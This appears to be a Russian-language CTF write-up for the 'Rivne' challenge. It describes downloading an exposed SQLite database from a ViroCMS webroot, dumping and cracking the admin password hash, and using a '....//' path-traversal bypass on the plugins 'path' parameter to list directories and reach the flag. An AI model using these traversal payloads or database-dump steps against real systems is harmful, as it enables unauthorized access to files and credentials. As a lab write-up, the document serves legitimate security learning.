Skip to content

Latest commit

 

History

History
44 lines (32 loc) · 1.92 KB

File metadata and controls

44 lines (32 loc) · 1.92 KB

Rivne (22.owaspctf.gq)

На главной странице редирект на /ViroCMS.

Посмотрев исходный код видим что sqlite база лежит внутри webroot приложения.

$ wget -q 'http://22.owaspctf.gq/ViroCMS/app/db/viro.db'
$ sqlite3 ./viro.db
sqlite> .tables
articles  backups   content   groups    users     zones
sqlite> select * from users;
1|admin|cms@viro.app|$2y$10$0FSo8PlwHruYCfxDYW0WP.Hf/MYdPN8xCTWpZtT0JIX38pdW7O6Iq|on|on|on|on|1571346062|1
...

John the ripper брутит хэш и паролем оказывается "password". Логинимся в CMS и заходим в раздел "Plugins".

Ссылка выглядит так: https://22.owaspctf.gq/ViroCMS/?page=plugins&path=plugins/, протестировав параметр path, можно прийти к выводу что он попадает в scandir но перед этим из него удаляется подстрока ../

https://22.owaspctf.gq/ViroCMS/?page=plugins&path=plugins/../plugins/ -> Warning: scandir(/var/www/html/ViroCMS/app/plugins/plugins/)
https://22.owaspctf.gq/ViroCMS/?page=plugins&path=plugins/....//plugins/ -> OK

https://22.owaspctf.gq/ViroCMS/?page=plugins&path=plugins/....//....//....//:

Name Size Type Permissions
.htaccess 70 file 0755
ViroCMS 4096 dir 0777
flag_in_this_dir 4096 dir 0755
index.html 55 file 0644

https://22.owaspctf.gq/ViroCMS/?page=plugins&path=plugins/....//....//....//flag_in_this_dir/:

Name Size Type Permissions
this_is_flag.txt 26 file 0644

https://22.owaspctf.gq/flag_in_this_dir/this_is_flag.txt

FLAG{Live_For_Inclusions}